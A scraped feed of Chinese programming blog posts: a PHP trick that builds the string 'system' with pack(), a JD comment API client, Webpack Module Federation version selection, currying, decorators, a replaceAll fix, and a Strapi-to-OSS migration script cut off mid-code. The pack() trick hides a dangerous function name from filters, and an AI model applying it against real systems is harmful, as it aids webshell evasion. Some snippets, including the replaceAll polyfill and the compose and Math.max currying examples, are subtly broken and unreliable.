  • "C6" 是格式字符串,其中 C 表示将后续的六个参数视为无符号字符(即 ASCII 字符),6 表示有六个字符。

  • 传入的参数

    115, 121, 115, 116, 101, 109
    

    是 ASCII 码值。

    • 115 对应的字符是 s

    • 121 对应的字符是 y

    • 115 对应的字符是 s

    • 116 对应的字符是 t

    • 101 对应的字符是 e

    • 109 对应的字符是 m

构造出来的就是 system

  • "H*" 是格式字符串,其中 H 表示将后续传递的参数视为十六进制字符串,* 表示任意长度。

  •   73797374656d
    

    是一个十六进制表示的字符串。将其转换为 ASCII 字符:

    • 73s

    • 79y

    • 73s

    • 74t

    • 65e

    • 6dm

    构造出来的也是system

img

京东商品评论API接口深度解析:数据获取与JSON结构详解

2025年7月3日 17:18

前言

在电商数据分析领域,京东商品评论数据是洞察用户需求、评估商品质量的重要依据。通过京东开放平台提供的商品评论API接口,开发者可高效获取结构化评论数据,支撑商品口碑监测、竞品分析等核心业务场景。本文将系统解析接口调用流程、签名机制及JSON数据结构,并提供可直接调用的Python实现方案。

一、接口核心功能与调用场景

京东商品评论API接口支持开发者通过HTTP请求获取指定商品的详细评价数据,主要功能包括:

  1. 多维数据获取:涵盖文字评价、星级评分(1-5星)、用户昵称、评论时间戳、晒单图片URL等20+字段
  2. 智能筛选能力:支持按时间范围(如最近30天)、评论类型(追评/首评)、评分等级(好评/中评/差评)进行精准筛选
  3. 商家互动追踪:完整返回商家回复内容及回复时间,支持分析客服响应效率
  4. 属性标签提取:自动解析评论中的物流速度、产品质量等结构化标签,提升分析效率

典型应用场景包括:

  • 电商平台构建商品评价聚合展示系统
  • 品牌方监测新品市场反馈
  • 第三方数据服务商开发竞品分析工具
  • 学术机构进行电商用户行为研究

二、接口调用全流程详解

1. 开发者资质准备

需完成京东开放平台开发者认证,获取以下关键凭证:

  • app_key:应用唯一标识符
  • app_secret:用于签名计算的密钥
  • 接口调用权限:需申请「商品评论数据查询」权限

2. 请求参数构造

python
import time

import hashlib

import json

from urllib.parse import quote

 

def build_request_params(app_key, sku_id, page=1, page_size=10):

    base_params = {

        "method": "jingdong.ware.comment.get",

        "app_key": app_key,

        "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),

        "format": "json",

        "v": "2.0",

        "sign_method": "md5",

        "skuId": sku_id,

        "page": page,

        "pageSize": page_size,

        "sortType": 5  # 5=时间倒序,6=点赞数降序

    }

    return base_params

3. 签名计算机制

京东采用MD5加密的签名验证体系,核心步骤:

  1. 参数按ASCII码升序排列
  2. 拼接为app_secret+key1value1key2value2...+app_secret格式
  3. 生成32位大写MD5值
python
def generate_sign(params, app_secret):

    sorted_params = sorted(params.items(), key=lambda x: x[0])

    sign_str = app_secret

    for k, v in sorted_params:

        sign_str += f"{k}{v}"

    sign_str += app_secret

    return hashlib.md5(sign_str.encode('utf-8')).hexdigest().upper()

4. 完整调用示例

python
import requests

 

def fetch_jd_comments(app_key, app_secret, sku_id):

    params = build_request_params(app_key, sku_id)

    params['sign'] = generate_sign(params, app_secret)

    

    try:

        response = requests.post(

            "https://api.jd.com/routerjson",

            data=params,

            headers={"Content-Type": "application/x-www-form-urlencoded"}

        )

        return response.json()

    except Exception as e:

        return {"error": str(e)}

 

# 示例调用

result = fetch_jd_comments(

    app_key="YOUR_APP_KEY",

    app_secret="YOUR_APP_SECRET",

    sku_id="100012014970"

)

print(json.dumps(result, indent=2, ensure_ascii=False))

三、JSON响应数据结构解析

1. 基础响应框架

json
{

  "code": 0,

  "message": "success",

  "data": {

    "total": 12500,

    "page": 1,

    "pageSize": 10,

    "comments": [

      // 评论详情数组

    ]

  }

}

2. 单条评论详细结构

json
{

  "userId": "user123456",

  "userNick": "京东会员_abc123",

  "rating": 5,

  "content": "手机运行流畅,拍照效果超出预期",

  "creationTime": "2025-06-28 14:30:22",

  "properties": [

    {"name": "物流速度", "value": "5星"},

    {"name": "产品质量", "value": "5星"}

  ],

  "pictures": [

    "https://img10.360buyimg.com/n1/s450x450_jfs/t1/250000/30/12345/123456/66d12345Eabcd1234/1234567890abcdef.jpg"

  ],

  "replies": [

    {

      "replyUserId": "jd_official",

      "replyContent": "感谢您的认可,我们将持续优化服务",

      "replyTime": "2025-06-29 10:15:30"

    }

  ],

  "afterSaleReview": {

    "content": "使用一个月后依然流畅,推荐购买",

    "createTime": "2025-07-02 09:45:18"

  }

}

3. 关键字段说明

字段名 数据类型 说明
rating integer 用户评分(1-5星)
properties array 结构化评价标签
pictures array 用户上传图片URL列表
afterSaleReview object 追评内容(无追评时为null)
replies array 商家回复列表(可能为空数组)

四、高阶应用技巧

1. 分页采集策略

python
def fetch_all_comments(app_key, app_secret, sku_id, max_pages=100):

    all_comments = []

    for page in range(1, max_pages + 1):

        result = fetch_jd_comments(app_key, app_secret, sku_id, page=page)

        if not result.get("data") or not result["data"].get("comments"):

            break

        all_comments.extend(result["data"]["comments"])

        time.sleep(1)  # 遵守频率限制

    return all_comments

2. 异常处理机制

python
def safe_fetch(app_key, app_secret, sku_id, retries=3):

    for attempt in range(retries):

        result = fetch_jd_comments(app_key, app_secret, sku_id)

        if result.get("code") == 0:

            return result

        elif result.get("code") == 1004:  # 签名错误

            raise ValueError("Invalid signature - check app_secret")

        elif result.get("code") == 1011:  # 频率超限

            time.sleep(5 * (attempt + 1))

        else:

            raise Exception(f"API Error: {result.get('message')}")

    return None

3. 数据存储优化

建议采用MongoDB等文档数据库存储评论数据,利用其灵活的Schema设计:

python
from pymongo import MongoClient

 

def save_to_mongodb(comments_data):

    client = MongoClient("mongodb://localhost:27017/")

    db = client["jd_comments"]

    collection = db["products"]

    

    for comment in comments_data:

        # 数据清洗与转换

        processed_comment = {

            "sku_id": "100012014970",

            "comment_id": comment.get("id", str(hash(comment))),

            "user_info": {

                "user_id": comment.get("userId"),

                "nick_name": comment.get("userNick")

            },

            "rating": comment.get("rating"),

            "content": comment.get("content"),

            "images": comment.get("pictures", []),

            "create_time": comment.get("creationTime"),

            "properties": {p["name"]: p["value"] for p in comment.get("properties", [])},

            "replies": [{

                "content": r["replyContent"],

                "time": r["replyTime"]

            } for r in comment.get("replies", [])],

            "after_sale_review": comment.get("afterSaleReview")

        }

        collection.update_one(

            {"comment_id": processed_comment["comment_id"]},

            {"$set": processed_comment},

            upsert=True

        )

Webpack MF Shared 依赖:仅配 requiredVersion 时的版本选择细节与坑点

2025年7月3日 17:14

在上一篇博客深入解析 Webpack Module Federation 的 Shared 依赖版本协商机制,我们已经详细的分析了各种不同shared配置之下,版本协商是如何进行的。

然后有不少同发现仅配 requiredVersion 时的版本选择并不是简单的“谁先加载了就用谁”,今天想通过这篇文章解答一下


仅配 requiredVersion 时的版本选择细节

var loadVersion = (scopeName, scope, key, eager, requiredVersion, fallback) => {
  if (!exists(scope, key))
    return useFallback(scopeName, key, fallback);
  var satisfyingVersion = findSatisfyingVersion(scope, key, requiredVersion, eager);
  if (satisfyingVersion)
    return get(satisfyingVersion);
  warn(getInvalidVersionMessage(...));
  return get(findLatestVersion(scope, key, eager));
};

var findSatisfyingVersion = (scope, key, requiredVersion, eager) => {
  var versions = eager ? eagerOnly(scope[key]) : scope[key];
  var key = Object.keys(versions).reduce((a, b) => {
    if (!satisfy(requiredVersion, b)) return a;
    return !a || versionLt(a, b) ? b : a;
  }, 0);
  return key && versions[key];
};

关键认知点:

  • findSatisfyingVersion 会在所有可用的版本中,选出“满足 requiredVersion 且版本号最大的那个”
  • 若没有任何版本能满足 requiredVersion,loadVersion 还会兜底选最新(findLatestVersion)

这很关键:不是“谁先注册谁先用”,而是总是倾向于用“满足 semver 且最大的那个”


实验结论验证

基于以下依赖结构:

  • host 应用:引用 axios@1.6.8,并 shared 配置 { axios: { requiredVersion: '1.6.8' } }
  • remote 子应用:引用 axios@1.10.0,并 shared 配置 { axios: { requiredVersion: '^1.5.0' } }

实测结果如下:

  • host 首先加载时,matching 的只有 1.6.8,就先用它
  • remote 需要加载自己的 1.10.0,而 1.10.0 比 ^1.5.0 匹配范围更大、版本号也高,于是 remote 实际会加载自己的 1.10.0
  • 两端都用各自版本,符合 runtime 选择“最大满足条件”的版本的策略

反直觉却合理的机制

这种做法其实有点反直觉。
很多开发者下意识以为:只要第一个满足 requiredVersion 的就直接用那个,但 Webpack MF 选择了在符合 semver 范围下尽可能用最大版本

原因:

  • 满足 semver 的最大版本,理论上具备旧特性的兼容性,也能兼容新特性,利于多远端版本协同时减少重大兼容隐患。
  • 若存在 breaking change 危险,建议配合 strictVersion。

最佳实践建议

  1. 明确主版本统一:MF 项目强烈建议所有 host/remote 尽量依赖同一主版本(如 axios@1.x)。
  2. 充分测试:如果允许 shared 时存在多版本,需在本地和 CI 全面覆盖兼容性场景。
  3. 如需严格一致,启用 strictVersion: true,确保 runtime 强制版本一致,否则直接报错,拒绝混用。

总结

Webpack Module Federation 的 shared 依赖协商机制并非简单“谁先用谁的”,而是综合按 semver 匹配尽可能选择最大版本。这一点对于维护复杂微前端架构时确保依赖一致性和新旧兼容,至关重要!

如果你还在为版本选择疑惑,建议直接研读源码并实际搭配配置进行测试,才能真正理解自己的项目在微前端环境下是如何运行的。如果有更复杂的多次 fallback、多个 remote 组合情况,也欢迎交流讨论!


参考阅读:

函数柯里化

2025年7月3日 17:12

一、核心概念与本质

1. 定义
函数柯里化(Currying)是将多参数函数转换为单参数函数链的过程,每次调用返回一个接收下一个参数的函数,直到所有参数接收完毕后执行最终计算。

2. 核心思想

  • 将复杂函数拆解为简单函数的组合
  • 通过闭包缓存已接收的参数
  • 实现“延迟计算”和“部分应用”

二、基础实现与示例

1. 简单柯里化函数(以加法为例)

// 普通多参数函数
function add(a, b, c) {
  return a + b + c;
}

// 柯里化版本
function curryAdd(a) {
  return function(b) {
    return function(c) {
      return a + b + c;
    };
  };
}

// 使用方式
curryAdd(1)(2)(3); // 6
const add1 = curryAdd(1);
add1(2)(3); // 6
const add1And2 = add1(2);
add1And2(3); // 6

2. 通用柯里化工具函数

// 通用柯里化函数(接收函数并返回柯里化版本)
function curry(func) {
  return function curried(...args) {
    // 如果已接收的参数数量 >= 原函数需要的参数数量,执行函数
    if (args.length >= func.length) {
      return func.apply(this, args);
    }
    // 否则返回新函数接收剩余参数
    return function(...nextArgs) {
      return curried.apply(this, args.concat(nextArgs));
    };
  };
}

// 使用示例
const curriedAdd = curry(add);
curriedAdd(1)(2)(3); // 6
curriedAdd(1, 2, 3); // 6(支持一次性传参)
curriedAdd(1)(2, 3); // 6

三、柯里化的核心特性

  1. 参数缓存:通过闭包保存已传入的参数
  2. 延迟执行:逐步接收参数,最终执行
  3. 灵活性:可动态生成特定参数的函数变体
  4. 函数复用:减少重复逻辑,提高代码可读性

四、实际应用场景

1. 动态生成工具函数

  • 场景:固定部分参数,生成专用函数
// 生成特定域名的URL拼接函数
const urlBuilder = curry((protocol, domain, path) => {
  return `${protocol}://${domain}${path}`;
});

const buildHttpUrl = urlBuilder('http');
const buildVueUrl = buildHttpUrl('vuejs.org');

buildVueUrl('/api'); // 'http://vuejs.org/api'
buildVueUrl('/guide'); // 'http://vuejs.org/guide'

2. 函数组合与管道操作

  • 配合组合函数(compose)实现逻辑复用
// 组合函数(从右到左执行)
function compose(...fns) {
  return (x) => fns.reduceRight((v, f) => f(v), x);
}

// 柯里化的字符串处理函数
const toUpperCase = (str) => str.toUpperCase();
const addExclamation = (str) => str + '!';
const repeat = (n, str) => str.repeat(n);

// 生成特定处理逻辑
const shout = compose(
  repeat(3),
  addExclamation,
  toUpperCase
);

shout('hello'); // 'HELLO!!!'

3. 事件处理与高阶组件

  • 前端框架中的应用(如React)
// 柯里化的事件处理器
const handleClick = curry((callback, event) => {
  callback(event.target.value);
});

// 固定回调函数,生成特定事件处理器
const handleInput = handleClick((value) => {
  console.log('输入值:', value);
});

<input type="text" onClick={handleInput} />

五、性能与边界情况

1. 性能考量

  • 优势
    • 减少重复参数传递(如固定配置项)
    • 逻辑拆分为更小函数,便于测试和复用
  • 劣势
    • 多层嵌套函数调用带来轻微性能损耗
    • 过度使用可能导致代码可读性下降

2. 边界情况处理

  • 处理不同参数数量
    // 优化后的通用柯里化函数(支持任意参数)
    function curry(func) {
      return function curried(...args) {
        if (args.length >= func.length) {
          return func.apply(this, args);
        }
        // 支持接收多个参数(如curried(1,2)(3))
        return function(...nextArgs) {
          return curried.apply(this, args.concat(nextArgs));
        };
      };
    }
    

六、问题

1. 问:柯里化与函数绑定(bind)的区别?
    • 柯里化:生成接收部分参数的新函数,可逐步传参;
    • bind:固定部分参数,立即生成完整函数(不可逐步传参)。
    • 示例对比:
      const add = (a, b) => a + b;
      const curriedAdd = curry(add);
      const boundAdd = add.bind(null, 1);
      
      curriedAdd(1)(2); // 3(分步传参)
      boundAdd(2); // 3(一次传剩余参数)
      
2. 问:柯里化如何实现递归或处理可变参数?
    • 递归柯里化需动态判断参数数量,可通过func.length获取形参数量:
      function curry(func) {
        return function curried(...args) {
          if (args.length >= func.length) {
            return func.apply(this, args);
          }
          return curried.bind(null, ...args); // 绑定已接收参数
        };
      }
      
      // 处理可变参数(如Math.max)
      const curriedMax = curry(Math.max);
      curriedMax(1)(2)(3); // 3
      curriedMax(1, 2, 3); // 3
      
3. 问:实际项目中哪些场景适合用柯里化?
    • 参数复用:如固定API请求的基础URL(curry(fetch)(baseUrl));
    • 逻辑抽象:将复杂表单验证拆分为多个柯里化函数(isEmail, isRequired);
    • 函数式编程:配合组合(compose)、管道(pipe)等模式构建复杂逻辑。

七、总结

“函数柯里化通过将多参数函数转换为单参数函数链,实现参数缓存和延迟执行,核心优势在于逻辑拆分与代码复用。实际应用中,它能动态生成专用函数(如固定配置的API请求),或配合函数组合构建可复用的处理流程。与bind不同,柯里化支持逐步传参,更适合需要‘分步骤处理’的场景。在前端开发中,柯里化常用于事件处理、表单验证等逻辑抽象,能有效提升代码的可维护性和复用性。”

@decorator修饰器

2025年7月3日 17:04

一、核心概念与本质

1. 定义
装饰器(Decorator)是一种函数语法糖,用于在不修改原函数/类的前提下,为其添加额外功能。本质是一个高阶函数,接收目标对象作为参数,返回增强后的对象。

2. 应用场景

  • 日志记录、权限校验、性能监控等横切关注点
  • 框架层面的功能扩展(如Vue3组合式API、NestJS路由)
  • 类属性的元数据管理(如TS的反射机制)

二、装饰器的类型与语法

1. 四种装饰器类型

类型 作用对象 参数说明
类装饰器 class 接收类构造函数作为参数
方法装饰器 类的方法 接收类原型、方法名、描述符对象
属性装饰器 类的属性 接收类原型、属性名
参数装饰器 方法的参数 接收类原型、方法名、参数索引

2. 基本语法(以类装饰器为例)

// 装饰器工厂(可传参的装饰器)
function Logger(target: Function) {
  console.log(`[装饰器] 类 ${target.name} 被装饰`);
  // 扩展目标类的行为
  target.prototype.log = function() {
    console.log(`实例 ${this.name} 日志`);
  };
}

@Logger // 应用装饰器
class User {
  name: string;
  constructor(name: string) {
    this.name = name;
  }
}

const user = new User('张三');
(user as any).log(); // 输出:实例 张三 日志

三、装饰器的执行时机与参数详解

1. 执行顺序

  • 类装饰器:在类定义时立即执行(编译阶段)
  • 方法/属性装饰器:在类初始化时执行
  • 示例
    // 装饰器执行顺序演示
    function ClassDecorator() {
      console.log('类装饰器执行');
      return (target: any) => target;
    }
    
    function MethodDecorator() {
      console.log('方法装饰器工厂执行');
      return (
        target: any, 
        key: string, 
        descriptor: PropertyDescriptor
      ) => descriptor;
    }
    
    @ClassDecorator() // 输出:类装饰器执行
    class Demo {
      @MethodDecorator() // 输出:方法装饰器工厂执行(类定义时执行)
      method() {}
    }
    

2. 方法装饰器参数解析

function Validator(target: Object, key: string, descriptor: PropertyDescriptor) {
  // target: 类原型(如 User.prototype)
  // key: 方法名(如 'save')
  // descriptor: 包含 value(原方法)、writable 等属性的对象
  
  // 示例:重写方法实现参数校验
  const originalMethod = descriptor.value;
  descriptor.value = function(...args: any[]) {
    if (args[0] === undefined) throw new Error('参数不能为空');
    return originalMethod.apply(this, args);
  };
  return descriptor;
}

四、装饰器在框架中的实际应用

1. Vue3组合式API中的装饰器(需搭配Vue Decorators库)

import { Component, Prop, Watch } from 'vue-property-decorator';

@Component
export default class UserComponent {
  @Prop() userId!: number; // 声明props
  name = '张三';
  
  @Watch('userId')
  onUserIdChange(newVal: number) {
    console.log('用户ID变更:', newVal);
  }
  
  @Method('log') // 自定义装饰器示例
  logMessage() {
    console.log('组件日志');
  }
}

2. NestJS中的路由装饰器

import { Controller, Get, Post, Param } from '@nestjs/common';

@Controller('users') // 类装饰器定义路由前缀
export class UserController {
  @Get() // 方法装饰器定义GET请求
  findAll() { return '所有用户'; }
  
  @Post(':id') // 带参数的路由
  findOne(@Param('id') id: string) { return `用户 ${id}`; }
}

五、装饰器的实现原理与性能考量

1. 核心原理

  • 装饰器本质是元编程(Meta Programming) 的一种实现,通过操作类的元数据(Metadata)修改行为
  • 编译阶段会被转换为普通函数调用,例如:
    @Logger class User {} 
    // 等价于 
    class User {}
    Logger(User);
    

2. 性能注意事项

  • 装饰器执行于编译期,对运行时性能影响较小
  • 避免在装饰器中执行复杂逻辑(如API请求),可能导致加载延迟
  • 过多装饰器嵌套可能降低代码可维护性

六、问题

1. 问:装饰器与Mixin(混入)的区别?
    • 装饰器是行为增强,通过函数包装目标对象;
    • Mixin是代码复用,通过合并多个类的属性和方法生成新类。
    • 场景对比:
      • 装饰器适合“横切功能”(如日志、权限);
      • Mixin适合“垂直功能”(如多个组件共享表单逻辑)。
2. 问:如何实现一个带参数的装饰器?
    • 装饰器本身返回一个接收目标对象的函数(即“装饰器工厂”):
      function Permission(role: string) {
        return function(target: any, key: string, descriptor: PropertyDescriptor) {
          // 保存权限配置到元数据
          Reflect.defineMetadata('requiredRole', role, target, key);
          
          // 重写方法实现权限校验
          const originalMethod = descriptor.value;
          descriptor.value = function() {
            const userRole = getCurrentUserRole();
            if (userRole !== role) throw new Error('无权限');
            return originalMethod.apply(this, arguments);
          };
          return descriptor;
        };
      }
      
      // 使用示例
      class AdminPanel {
        @Permission('admin')
        deleteUser() {}
      }
      
3. 问:装饰器在TS与JS中的支持差异?
    • TS完全支持装饰器(需在tsconfig中开启experimentalDecoratorsemitDecoratorMetadata);
    • JS仅在ES7提案中支持,需通过Babel插件(如@babel/plugin-proposal-decorators)转换;
    • 两者核心语法一致,但TS通过Reflect.metadata提供更完善的元数据操作能力。

七、总结

“装饰器是一种通过高阶函数实现的代码增强模式,能在不修改原对象的前提下添加功能。它在框架中广泛用于路由定义、权限校验等场景,本质是编译期执行的元编程技术。使用时需注意装饰器类型(类/方法/属性/参数)的参数差异,以及TS与JS的语法兼容问题。在实际项目中,装饰器能有效减少代码耦合,提升可维护性,但需避免过度使用导致逻辑复杂。”

记一次replaceAll报错的问题

作者 笑看吳鉤
2025年7月3日 16:56

产生原因

公司大屏在国产机运行不正常,但是运行后台端都正常

排查问题

a.replaceAll() is not a function

查了下MDN

image.png

解决问题

可以使用replace去替换

image.png

//方法一 直接替换
const str = "Hello World, Hello Universe";
const newStr = str.replace(/Hello/g, "Hi");
console.log(newStr); // 输出: "Hi World, Hi Universe


//或者使用函数
function replaceAll(str, search, replacement) {
    let result = str;
    while (result.includes(search)) {
        result = result.replace(search, replacement);
    }
    return result;
}

const str = "Hello World, Hello Universe";
const newStr = replaceAll(str, "Hello", "Hi");
console.log(newStr); // 输出: "Hi World, Hi Universe"
//方法二   如果不兼容使用改造方法
if (!String.prototype.replaceAll) {
  String.prototype.replaceAll = function (newStr, oldStr) {
    return this.replace(new RegExp("oldStr", "g"), "newStr");
  };
}

Strapi对接阿里oss:迁移历史数据

作者 Oriel
2025年7月3日 16:51

公司项目对接了oss后,需要将历史数据迁移到oss上,本文将详细介绍如何安全地将Strapi中的媒体文件迁移到OSS,并更新所有数据库引用。


为什么需要迁移到OSS?

  1. 存储空间解放 - 释放服务器宝贵的磁盘空间
  2. 访问速度提升 - 利用CDN全球加速
  3. 成本优化 - 按需付费比固定存储更经济
  4. 可靠性增强 - OSS提供99.9999999999%的数据持久性
  5. 扩展性提升 - 轻松应对流量激增

迁移前准备工作

1️⃣ 环境配置

# 创建.env文件
REGION=oss-cn-hangzhou
BUCKET=your-bucket-name
ACCESS_KEY_ID=your-access-key
ACCESS_KEY_SECRET=your-secret-key
STRAPI_DB_PATH=/path/to/your/strapi.db
MEDIA_BASE_PATH=/path/to/strapi/public/uploads
BASE_URL=https://your-cdn-domain.com
UPLOAD_PATH=strapi-media # OSS存储路径

2️⃣ 安装依赖

npm install ali-oss sqlite3 dotenv

3️⃣ 目录结构准备

/strapi-project
  ├── migrate-to-oss.js       # 迁移脚本
  ├── .env            # 环境变量
  ├── public/uploads  # 原始媒体文件
  │   └── done        # 迁移后文件存放目录(脚本自动创建)

迁移脚本详解

核心模块初始化

require("dotenv").config();
const fs = require("fs");
const path = require("path");
const sqlite3 = require("sqlite3").verbose();
const OSS = require("ali-oss");

// OSS客户端初始化
const client = new OSS({
  region: process.env.REGION,
  bucket: process.env.BUCKET,
  accessKeyId: process.env.ACCESS_KEY_ID,
  accessKeySecret: process.env.ACCESS_KEY_SECRET
});

// 数据库连接
const db = new sqlite3.Database(process.env.STRAPI_DB_PATH);

文件路径处理函数

// 解析本地文件路径
function resolveLocalFilePath(url) {
  const relative = url.startsWith("/") ? url.slice(1) : url;
  return path.resolve(process.env.MEDIA_BASE_PATH, path.basename(relative));
}

// 构建OSS URL
function buildOssUrl(filename) {
  return `${process.env.BASE_URL.replace(//$/, "")}/${process.env.UPLOAD_PATH}/${filename}`;
}

核心上传逻辑

async function uploadToOss(localPath, ossKey) {
  try {
    // 上传文件到OSS
    const result = await client.put(ossKey, localPath);
    
    // 移动已处理文件到done目录
    const destPath = path.resolve(process.env.MEDIA_BASE_PATH, 'done', path.basename(localPath));
    fs.renameSync(localPath, destPath);
    
    // 返回HTTPS链接
    return result.url.replace(/^http:/, "https:");
  } catch (err) {
    throw new Error(`上传失败:${ossKey} (${err.message})`);
  }
}

数据库记录更新

async function migrateFileRecord(file) {
  // 1. 上传主文件
  const ossKey = `${process.env.UPLOAD_PATH}/${path.basename(file.url)}`;
  const ossUrl = await uploadToOss(resolveLocalFilePath(file.url), ossKey);
  
  // 2. 更新数据库记录
  const updateQuery = `
    UPDATE files
    SET url = ?, provider = ?
    WHERE id = ?
  `;
  
  db.run(updateQuery, [ossUrl, "oss", file.id], (err) => {
    if (err) console.error(`❌ 更新失败 (ID: ${file.id})`);
    else console.log(`✅ 记录更新成功 (ID: ${file.id})`);
  });
  
  // 3. 处理预览图和格式文件(详细逻辑见完整脚本)
  // ...
}

完整迁移流程

步骤1:执行迁移脚本

node migrate-to-oss.js

步骤2:监控迁移过程

🔍 发现 248 个待迁移文件。
✅ 文件记录更新成功 (ID: 1)
📦 已处理文件记录 (ID: 1),原文件已迁移到 done 目录
✅ 文件记录更新成功 (ID: 2)
⚠️ 预览图上传失败 (ID: 3): 文件不存在
🎉 所有文件迁移任务已处理完毕。

步骤3:验证迁移结果

  1. 检查OSS控制台文件列表
  2. 随机抽查数据库记录:
SELECT id, url, provider FROM files LIMIT 5;
  1. 访问生成的OSS链接测试

步骤4:配置Strapi使用OSS

// ./config/plugins.js
module.exports = ({ env }) => ({
  upload: {
    config: {
      provider: 'strapi-provider-upload-ali-oss',
      providerOptions: {
        accessKeyId: env('ALI_OSS_KEY_ID'),
        accessKeySecret: env('ALI_OSS_KEY_SECRET'),
        region: env('ALI_OSS_REGION'),
        bucket: env('ALI_OSS_BUCKET'),
        baseUrl: env('ALI_OSS_BASE_URL'),
        prefix: 'strapi-media',
      }
    }
  }
});

迁移策略最佳实践

1. 增量迁移方案

// 只迁移未处理过的文件
const query = `SELECT * FROM files WHERE provider = 'local'`;

2. 断点续传设计

// 记录已处理文件ID
const processedIds = new Set();
fs.writeFileSync('progress.json', JSON.stringify([...processedIds]));

3. 并发控制优化

// 限制并发数为5
const { PromisePool } = require('@supercharge/promise-pool');

await PromisePool
  .for(rows)
  .withConcurrency(5)
  .process(migrateFileRecord);

4. 回滚机制

# 回滚脚本示例
#!/bin/bash
OSS_PATH="oss://$BUCKET/$UPLOAD_PATH"
LOCAL_BACKUP="./backup-$(date +%Y%m%d)"

# 1. 从OSS下载文件
aliyun oss cp $OSS_PATH $LOCAL_BACKUP -r

# 2. 恢复数据库记录
sqlite3 strapi.db "UPDATE files SET provider='local'"

常见问题解决方案

问题 解决方案
文件不存在错误 检查MEDIA_BASE_PATH路径,确保有读取权限
OSS上传权限错误 确认AccessKey有PutObject权限
数据库锁定错误 确保Strapi服务已停止运行
特殊字符文件名 使用encodeURIComponent处理OSS key
大文件上传超时 分片上传:client.multipartUpload
迁移后图片不显示 检查BASE_URL是否包含CDN加速域名

迁移后优化建议

  1. 设置OSS生命周期规则

    # 自动删除30天前的临时文件
    ali oss lifecycle set oss-lifecycle.json
    
    {
      "rules": [{
        "id": "delete-temp",
        "prefix": "temp/",
        "status": "Enabled",
        "days": 30
      }]
    }
    
  2. 开启CDN加速

    # 配置CDN缓存策略
    aliyun cdn ModifyCdnDomain --DomainName your.cdn.com \
      --CacheType "suffix" \
      --CacheContent ".jpg;.png;.gif" \
      --TTL 2592000
    
  3. 自动化备份策略

    # 每天1点同步到备份Bucket
    0 1 * * * aliyun oss cp oss://prod-bucket oss://backup-bucket --meta only
    
  4. 迁移验证脚本

    // 验证文件数量和大小
    const localCount = fs.readdirSync(mediaPath).length;
    const ossList = await client.list({ prefix: uploadPath });
    if (localCount !== ossList.objects.length) {
      throw new Error('文件数量不匹配!');
    }
    

总结

通过本文的迁移方案,你可以:

  • ✅ 安全地将Strapi媒体文件迁移到OSS
  • ✅ 保持数据库引用的一致性
  • ✅ 实现零停机迁移
  • ✅ 获得自动化的回滚能力
  • ✅ 显著提升文件访问性能

关键提示:生产环境迁移前务必在测试环境验证,并使用--dry-run参数进行试运行。迁移完成后,立即配置Strapi使用OSS插件,确保新上传的文件直接存储到OSS。

最后贴个完整代码:

Vue项目HTTPS配置完整代码

// vue.config.js
const fs = require('fs');
const path = require('path');

module.exports = {
  devServer: {
    https: {
      key: fs.readFileSync(path.resolve(__dirname, 'localhost-key.pem')),
      cert: fs.readFileSync(path.resolve(__dirname, 'localhost-cert.pem'))
    },
    port: 8443,  // HTTPS推荐端口
    host: 'luan.test',
    headers: {
      'Access-Control-Allow-Origin': '*' // 解决跨域
    },
    // 修复HMR热更新
    client: {
      webSocketURL: 'wss://luan.test:8443/ws'
    }
  },
  // 配置Webpack使用正确的主机名
  chainWebpack: config => {
    config.plugin('define').tap(args => {
      args[0]['process.env'].BASE_URL = '"https://luan.test:8443"';
      return args;
    });
  }
}

Strapi OSS迁移脚本完整代码

// migrate-to-oss.js
require("dotenv").config();
const fs = require("fs");
const path = require("path");
const sqlite3 = require("sqlite3").verbose();
const OSS = require("ali-oss");

// 初始化OSS客户端
const client = new OSS({
  region: process.env.REGION,
  bucket: process.env.BUCKET,
  accessKeyId: process.env.ACCESS_KEY_ID,
  accessKeySecret: process.env.ACCESS_KEY_SECRET,
});

// 数据库连接
const db = new sqlite3.Database(process.env.STRAPI_DB_PATH);
const mediaBasePath = process.env.MEDIA_BASE_PATH;
const ossBaseUrl = process.env.BASE_URL.replace(//$/, "");
const uploadPath = process.env.UPLOAD_PATH;

// 创建done目录存放已迁移文件
const doneDir = path.resolve(mediaBasePath, 'done');
if (!fs.existsSync(doneDir)) {
  fs.mkdirSync(doneDir, { recursive: true });
}

const uploadedSet = new Set();

// 解析本地文件路径
function resolveLocalFilePath(url) {
  const relative = url.startsWith("/") ? url.slice(1) : url;
  return path.resolve(mediaBasePath, path.basename(relative));
}

// 检查是否为本地路径
function isLocalPath(url) {
  return url && url.startsWith("/uploads/");
}

// 构建OSS URL
function buildOssUrl(filename) {
  return `${ossBaseUrl}/${uploadPath}/${filename}`;
}

// 上传文件到OSS
async function uploadToOss(localPath, ossKey) {
  if (uploadedSet.has(ossKey)) {
    return buildOssUrl(path.basename(ossKey));
  }

  try {
    console.log(`⬆️ 上传中: ${path.basename(localPath)} -> ${ossKey}`);
    const result = await client.put(ossKey, localPath);
    uploadedSet.add(ossKey);

    // 移动已处理文件
    const destPath = path.resolve(doneDir, path.basename(localPath));
    fs.renameSync(localPath, destPath);

    console.log(`✅ 上传成功: ${ossKey}`);
    return result.url.replace(/^http:/, "https:"); // 强制HTTPS
  } catch (err) {
    throw new Error(`上传失败:${ossKey} (${err.message})`);
  }
}

// 迁移单个文件记录
async function migrateFileRecord(file) {
  const id = file.id;
  const basename = path.basename(file.url);
  const ossUrl = buildOssUrl(basename);
  const localPath = resolveLocalFilePath(file.url);

  // 检查本地文件是否存在
  if (!fs.existsSync(localPath)) {
    console.warn(`⚠️ 本地文件不存在:${localPath}`);
    return;
  }

  try {
    // 上传主文件
    const ossKey = `${uploadPath}/${basename}`;
    const uploadedUrl = await uploadToOss(localPath, ossKey);
  } catch (err) {
    console.error(`❌ 主文件上传失败 (ID: ${id})`, err.message);
    return;
  }

  // 构造更新字段
  const updatedFields = {
    url: ossUrl,
    provider: "oss",
  };

  // 处理预览图
  if (isLocalPath(file.preview_url)) {
    const previewBase = path.basename(file.preview_url);
    const previewPath = resolveLocalFilePath(file.preview_url);
    if (fs.existsSync(previewPath)) {
      try {
        const previewKey = `${uploadPath}/${previewBase}`;
        await uploadToOss(previewPath, previewKey);
        updatedFields.preview_url = buildOssUrl(previewBase);
      } catch (err) {
        console.warn(`⚠️ 预览图上传失败 (ID: ${id}): ${err.message}`);
        updatedFields.preview_url = null;
      }
    } else {
      updatedFields.preview_url = null;
    }
  }

  // 处理格式文件(缩略图等)
  let newFormats = null;
  if (file.formats) {
    try {
      const formats = JSON.parse(file.formats);
      for (const key in formats) {
        if (formats[key]?.url && isLocalPath(formats[key].url)) {
